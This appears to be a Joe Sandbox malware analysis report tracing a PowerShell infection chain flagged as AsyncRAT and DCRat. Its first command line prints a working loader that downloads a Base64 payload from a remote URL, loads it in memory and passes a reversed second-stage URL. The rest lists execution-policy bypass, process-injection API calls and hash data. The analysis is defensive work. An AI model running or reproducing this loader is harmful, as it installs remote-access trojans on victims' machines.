Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Analysis Process: powershell.exePID: 5376, Parent PID: 7728

General

Target ID:	35
Start time:	04:58:02
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 2232, Parent PID: 7728

General

Target ID:	36
Start time:	04:58:02
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 6448, Parent PID: 7728

General

Target ID:	37
Start time:	04:58:02
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: RegSvcs.exePID: 7536, Parent PID: 7728

General

Target ID:	38
Start time:	04:58:03
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x120000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:58:03
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x980000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000027.00000002.2729558667.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000027.00000002.2794514159.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000027.00000002.2794514159.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:58:04
Start date:	26/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Function 00007FF848D437B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3256408286.00007FF848D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848d40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: ec5e2456d8ecbb338278cf80fb209fb499586c4e400f91c85df3ecb725cbd086
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: D201847010CB084FD748EF0CE051AB6B7E0FB85364F10056DE58AC3651D726E882CB45

Analysis Process: powershell.exePID: 6644, Parent PID: 1120COMMON

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848E5078D Relevance: 1.0, Instructions: 985
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2552716467.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366d1b59deac34ecf2296c429ff1e30323eae9456bbfe8b82d6fafdf0cbad479
Instruction ID: 1963dbedc5f0c223927baf26d76f2e91988e8140471982055aa0ff5295413188
Opcode Fuzzy Hash: 366d1b59deac34ecf2296c429ff1e30323eae9456bbfe8b82d6fafdf0cbad479
Instruction Fuzzy Hash: 62523671E0EA8A5FE796BA6858256B5BBE0FF46350F0801FBE04DC7193DE289C05C355

Function 00007FF848D874D4 Relevance: 2.0, APIs: 1, Instructions: 470
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 00007FF848D8784A

Memory Dump Source

Source File: 00000004.00000002.2542745168.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848d80000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9d8d38c4a01121c9ba1a54dd126a8b1f4e5f2a86b7303a93f5d1a2a9bc31662c
Instruction ID: 1f6178c2547e453899002ea9a7756a740da3782b01995c09dd5df2de6ba7e00a
Opcode Fuzzy Hash: 9d8d38c4a01121c9ba1a54dd126a8b1f4e5f2a86b7303a93f5d1a2a9bc31662c
Instruction Fuzzy Hash: F1F17B7090DA998FDB99DF18C864BE9BBF0EF66310F0500EAC049E7292DB749985CB41

Function 00007FF848D87EDD Relevance: 1.7, APIs: 1, Instructions: 210
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FF848D8804E

Memory Dump Source

Source File: 00000004.00000002.2542745168.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848d80000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 62fa39539daf7071c61fe955c4d4e60b3ac78ddd583e5df9ed8cc3987a4e3f1a
Instruction ID: c935c45dbe65d0e69b45c8807522f58fa68b05a06c5340e79df1f6857c0dd09a
Opcode Fuzzy Hash: 62fa39539daf7071c61fe955c4d4e60b3ac78ddd583e5df9ed8cc3987a4e3f1a
Instruction Fuzzy Hash: 43612170908A5D8FDB98EF58C894BE9BBF1FB69310F1041AED04DE3291CB74A985CB44

Function 00007FF848D879D9 Relevance: 1.7, APIs: 1, Instructions: 189
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNELBASE ref: 00007FF848D87B1E

Memory Dump Source

Source File: 00000004.00000002.2542745168.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848d80000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 28ae28438f31c0a4ec0f70c04b585e2f244f23ef92ad9cee3f7e72e79a70cc0e
Instruction ID: cb4de86d5e3fb0c90d3c27159767b326cd5dba49f0da934deaf4eaa519476602
Opcode Fuzzy Hash: 28ae28438f31c0a4ec0f70c04b585e2f244f23ef92ad9cee3f7e72e79a70cc0e
Instruction Fuzzy Hash: E3518F70D0864D8FEB55DF99C884BE9BBF1FB66310F1482AAD048D7256C7749489CF50

Function 00007FF848D880C9 Relevance: 1.6, APIs: 1, Instructions: 139
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FF848D88199

Memory Dump Source

Source File: 00000004.00000002.2542745168.00007FF848D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848d80000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 968e908417af06a7072defb85041755c7f7da5641e4e2dd08d20402fe614386b
Instruction ID: 06595908c3024675d713a856d7caa7e6274cd0cc659fcd4f102c7fb89440b186
Opcode Fuzzy Hash: 968e908417af06a7072defb85041755c7f7da5641e4e2dd08d20402fe614386b
Instruction Fuzzy Hash: 3941677090C74C8FDB59DFA8D885BA9BBB0FB5A310F1041AED049E7252DA70A889CB51

Function 00007FF848E515B9 Relevance: .3, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2552716467.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6a8c350bab4db817d4fb2bb0173a93d2109d2a518e8990f5506933d5deeeef9
Instruction ID: 3da8e119d05d3e533b92e9a77257d4e08c4b3be55aa8dee25ca9b26cd981a8a7
Opcode Fuzzy Hash: b6a8c350bab4db817d4fb2bb0173a93d2109d2a518e8990f5506933d5deeeef9
Instruction Fuzzy Hash: 2D919B71E0DB894FE79AAA6C5815575BBD1FF82268F0802FED44EC7083DF299C068385

Function 00007FF848E50D58 Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2552716467.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c1563312f4208292eaf3d9e0c9ef7ae2e25d2b5e6740160f6eb7d7f65a9cacc
Instruction ID: 6b70bed000cc84f3b60c0a95ec326d44dbd8e0abb6f157beecb0ae37c9d33635
Opcode Fuzzy Hash: 3c1563312f4208292eaf3d9e0c9ef7ae2e25d2b5e6740160f6eb7d7f65a9cacc
Instruction Fuzzy Hash: FA411762D1EB890FE7A6BAA818552B4BFE1FF52790F1800F7E04DC7193DE286C098355

Function 00007FF848E5085A Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2552716467.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63cbfeb15510eea44ebc2ea0a6e3fc8cd6b979a38acc7c09d2894d9c865404d1
Instruction ID: 58409e25927db6d05e90d95c14a13f3cb6e0a8e152542bb3447bafc7b5c526a8
Opcode Fuzzy Hash: 63cbfeb15510eea44ebc2ea0a6e3fc8cd6b979a38acc7c09d2894d9c865404d1
Instruction Fuzzy Hash: 12310162E1FE864FF6A9BABC1425678A5D0FF812E0F5800BAE40DC71D7DE2C9C04035A

Analysis Process: powershell.exePID: 6572, Parent PID: 6644COMMON

Executed Functions

Function 00007FF848D633B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2366827075.00007FF848D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848d60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: bc0501f1201566dc9ffe0d8f6b2584905b48253a8f3fa7cb9f6eb1e5913ed53d
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 2301843010CB0C4FD748EF0CE051AB5B3E0FB85360F10056DE58AC3651DB26E882CB45

Analysis Process: powershell.exePID: 5776, Parent PID: 6192COMMON

Executed Functions

Function 00007FF848D534B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3476536552.00007FF848D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 7aee3915925e05f19ece98ec9f9312f33fb455ee61de874a9d5d5a517c5b5622
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: AD01713010CB084FD748EF0CE051AA5B3E0EB85360F10056EE58AC3651D626E882CB45

Analysis Process: powershell.exePID: 7896, Parent PID: 7788COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848E2041D Relevance: 1.4, Instructions: 1372
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3350608551.00007FF848E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52b5a0cd687f1122be8bc2c8e86c008f0b59b5f2e67a3f6a36ff944c00936bee
Instruction ID: 9d534104459e17263bbb1a93af9793ab4cd8c00ed73579cd3cd341cc35aac1e6
Opcode Fuzzy Hash: 52b5a0cd687f1122be8bc2c8e86c008f0b59b5f2e67a3f6a36ff944c00936bee
Instruction Fuzzy Hash: F792F121E0EAC94FE7AAB72858296B57FE1FF56250F0801FBD04DC71D3DA289C468356

Function 00007FF848E20F5B Relevance: .8, Instructions: 841
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3350608551.00007FF848E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b4829c5681b59c2103e8b2e4cf92c5fbd8bf0885c3c54a3989daeb60170dae
Instruction ID: 356da2ce061124a3fe8b3655dc468bc9c1ed4a7433df3eada5b04939f4f6e7c2
Opcode Fuzzy Hash: 26b4829c5681b59c2103e8b2e4cf92c5fbd8bf0885c3c54a3989daeb60170dae
Instruction Fuzzy Hash: B8323631A0EBC94FE39AAB6858555B47BE1FF46360F0901FBD04DC7193DA29AC06C396

Function 00007FF848D574D4 Relevance: 2.0, APIs: 1, Instructions: 470
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 00007FF848D5784A

Memory Dump Source

Source File: 00000013.00000002.3335308466.00007FF848D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848d50000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 457d425c312f76d5e431a75a7468f72bb0f8c77017fd6ecc76b4b1cb2167036a
Instruction ID: 47543cabe3d5f38991621d339be648ffa318e8684a66919f8001859e9c356d96
Opcode Fuzzy Hash: 457d425c312f76d5e431a75a7468f72bb0f8c77017fd6ecc76b4b1cb2167036a
Instruction Fuzzy Hash: D2F17B7090DA998FDB99DF18C864BE9BBF0EF26310F1500EEC049E7292DB745985CB45

Function 00007FF848D57EDD Relevance: 1.7, APIs: 1, Instructions: 217
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FF848D5804E

Memory Dump Source

Source File: 00000013.00000002.3335308466.00007FF848D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848d50000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 78e3f4ef9228898efc176b64aff08ff68833c9827d4cde747a47b20c3001510b
Instruction ID: 1265c0cfc29caf734ff8488f57e7b19ea97e8ac3d4f7d00b9f9bc96aebd0c970
Opcode Fuzzy Hash: 78e3f4ef9228898efc176b64aff08ff68833c9827d4cde747a47b20c3001510b
Instruction Fuzzy Hash: 58613270909A5D8FDB98DF58C884BE9BBF1FB69310F1041AED04DE3691CB74A985CB44

Function 00007FF848D579D9 Relevance: 1.7, APIs: 1, Instructions: 188
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNELBASE ref: 00007FF848D57B1E

Memory Dump Source

Source File: 00000013.00000002.3335308466.00007FF848D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848d50000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 51fcef2ea819fc9d0a8caf72d95e2aa1eb86529d505a4ad9b960b0716b8a371b
Instruction ID: 1dd5f4e2cba368b7b2ef1ed272273a4bdac9dd9b086c051be45360741519485b
Opcode Fuzzy Hash: 51fcef2ea819fc9d0a8caf72d95e2aa1eb86529d505a4ad9b960b0716b8a371b
Instruction Fuzzy Hash: 4151BF70D0964D8FDB45DF98C884BE9BBF1FB66310F1082AAD048D7256C7749489CF90

Function 00007FF848D580C9 Relevance: 1.6, APIs: 1, Instructions: 139
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FF848D58199

Memory Dump Source

Source File: 00000013.00000002.3335308466.00007FF848D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848d50000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ed9d0836775059314e7b26284ff86a17af522da3b5ecbdf4edbbcf387c56886d
Instruction ID: 8ccaba723cf28de930e77020ca00fac68a0f1dd734e41ffcb6cd4a69fdf2304f
Opcode Fuzzy Hash: ed9d0836775059314e7b26284ff86a17af522da3b5ecbdf4edbbcf387c56886d
Instruction Fuzzy Hash: F0416930D0DB4C8FDB59DF98D885BA9BBF0FB5A310F1041AED049E7252DA74A885CB51

Function 00007FF848E209E8 Relevance: .1, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3350608551.00007FF848E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62fd22f83e29f690506bf8ecab8dcaa8b973316ef6ca4fd448e677f39e2848a2
Instruction ID: ebca2240f3e45c2c333deb38ede8e2de95cd698e99adc978b674cc7f922777fe
Opcode Fuzzy Hash: 62fd22f83e29f690506bf8ecab8dcaa8b973316ef6ca4fd448e677f39e2848a2
Instruction Fuzzy Hash: 8A412222D1EA8A4FE366B72818292757FE0FF52394F4D41FAC04CC70E3EA289C058756

Function 00007FF848E204EA Relevance: .1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3350608551.00007FF848E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2fd1f674dd75ac3bd0fe7f4f2efe294779a641179b2051940239826acab82ed
Instruction ID: 30ca7c8483f44ccd10fc286527399f3a2a42cc4b42055558637560e088783b5e
Opcode Fuzzy Hash: a2fd1f674dd75ac3bd0fe7f4f2efe294779a641179b2051940239826acab82ed
Instruction Fuzzy Hash: 3A31C022E5FA8A4FF6BA762C186527866D1FF456E1F4800BAE40EC31D3DE2C9844031A

Analysis Process: powershell.exePID: 7996, Parent PID: 7896COMMON

Executed Functions

Function 00007FF848D441F2 Relevance: .8, Instructions: 816COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3190149583.00007FF848D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff848d40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320083362ff710e66205d565ba03e3f6ccf15de72058ad0e917008679ec5b948
Instruction ID: 605cdf31a417e2c362c7497bce3c6d48c23603517bbc96be218f8812cea65701
Opcode Fuzzy Hash: 320083362ff710e66205d565ba03e3f6ccf15de72058ad0e917008679ec5b948
Instruction Fuzzy Hash: 4F323732A0E5598FEB44FB6CE491AF977A1FF55364F04017AD04DC7193CB24A886C7A4

Function 00007FF848E126C5 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3204340140.00007FF848E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff848e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09031dc544a798a3554b92c0627863dbb011cf4b00ffafbec8a2945a8d494e6
Instruction ID: 8f21d31ef243fe19b5336a10144fd72f33bd0a738eadba587eae0cef68e53dad
Opcode Fuzzy Hash: b09031dc544a798a3554b92c0627863dbb011cf4b00ffafbec8a2945a8d494e6
Instruction Fuzzy Hash: AAD12531D0EA8A5FE799EB2C58555B67BE1FF06390F0801FAD44DC7193DB28A805C365

Function 00007FF848D43418 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3190149583.00007FF848D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff848d40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 653baa26f6b4173d3c8105acc61fe923c4664836f7210216aac371227cbc2930
Instruction ID: 8777440b4a0a0a13e7860ad83c605e06cf1c7cb97f3b2b06e624b7c97ad1ca3f
Opcode Fuzzy Hash: 653baa26f6b4173d3c8105acc61fe923c4664836f7210216aac371227cbc2930
Instruction Fuzzy Hash: FC21917290E7C14FE347A76CA8A5AE13FA0EF43674F0901E7D099CB0A3D519184BC369

Function 00007FF848D433A5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3190149583.00007FF848D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff848d40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c97eb58c76ab628996e3617ddc048fdde98264560ca4b81bbdf52808bed74b2
Instruction ID: 7766777e28edd163c1e8f0dbfbc8b45073e432c44d17e220c447997faba37ff5
Opcode Fuzzy Hash: 0c97eb58c76ab628996e3617ddc048fdde98264560ca4b81bbdf52808bed74b2
Instruction Fuzzy Hash: DC01843010CB084FD748EF0CE051AB5B3E0FB85360F10056DE58AC3651DB26E881CB45

Analysis Process: RegSvcs.exePID: 3872, Parent PID: 7896COMMON

Executed Functions

Function 015D0F30 Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

(aq, xrefs: 015D120A
Te]q, xrefs: 015D0F65

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: (aq$Te]q
API String ID: 0-2961548996
Opcode ID: 3c50c666cbda1eda4abc988b563f3fd615d8e4355bda27dcb83a70ccd114babc
Instruction ID: 19a855de37cc4fb95e77d0256defb0f8bfaa285bc9e03dae9aa8b55edc66a387
Opcode Fuzzy Hash: 3c50c666cbda1eda4abc988b563f3fd615d8e4355bda27dcb83a70ccd114babc
Instruction Fuzzy Hash: BE517B70B105148FC754DF6DC498AAEBBF2FF88710F2581AAE406DB3A5CB359C028B80

Function 015D0D98 Relevance: 2.6, Strings: 2, Instructions: 131COMMON

Download Yara Rule

Strings

Haq, xrefs: 015D0EB8
dLcq, xrefs: 015D0DD3

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Haq$dLcq
API String ID: 0-1713614415
Opcode ID: 8d24fb4cf4f50a52dbcac138cee7161bfc309d3362964434ae6e99baf56f4a58
Instruction ID: 22cc5172228df31a5711d6af0915b6a4a45ab6dd18f69871e111d5e8567281e3
Opcode Fuzzy Hash: 8d24fb4cf4f50a52dbcac138cee7161bfc309d3362964434ae6e99baf56f4a58
Instruction Fuzzy Hash: 1141AD307002048FDB19DF69D454AAEBBF6FF89310F1485AAE006EB3A5CB789D05CB90

Function 015D1248 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

LR]q, xrefs: 015D13C0

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 4bc0b3bde4161c3675a1fba61b2f3a57ecd38324ee58ac2dd74fd918e1018651
Instruction ID: 67e493299b2577bbfc144edf57272131aa1f94de5f27b7347e7af52e8e600c50
Opcode Fuzzy Hash: 4bc0b3bde4161c3675a1fba61b2f3a57ecd38324ee58ac2dd74fd918e1018651
Instruction Fuzzy Hash: 56518C70B002059FCB14DFBE859466EBBF6FF88710F2484A9D44ADB355DA34DD428B91

Function 015D0D8A Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

dLcq, xrefs: 015D0DD3

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: dLcq
API String ID: 0-2236789282
Opcode ID: 44240894681da39be8c8a927f49630917693e43a5664e4432e287198d85451b1
